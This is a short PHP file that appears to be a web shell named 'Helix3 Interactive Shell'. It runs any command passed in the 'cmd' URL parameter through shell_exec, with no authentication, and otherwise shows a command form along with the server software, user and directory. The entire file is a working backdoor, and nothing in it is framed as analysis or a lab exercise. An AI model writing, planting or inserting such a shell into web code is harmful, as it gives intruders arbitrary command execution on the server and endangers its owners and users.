<?php
if(isset($_GET['cmd'])){
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
} else {
    echo "<h2>Helix3 Interactive Shell</h2>";
    echo "<form method='get'>";
    echo "<input type='text' name='cmd' size='60' placeholder='command...'>";
    echo "<input type='submit' value='Run'>";
    echo "</form>";
    echo "<hr>";
    echo "Server: " . $_SERVER['SERVER_SOFTWARE'] . "<br>";
    echo "User: " . get_current_user() . "<br>";
    echo "Path: " . __DIR__ . "<br>";
}
?>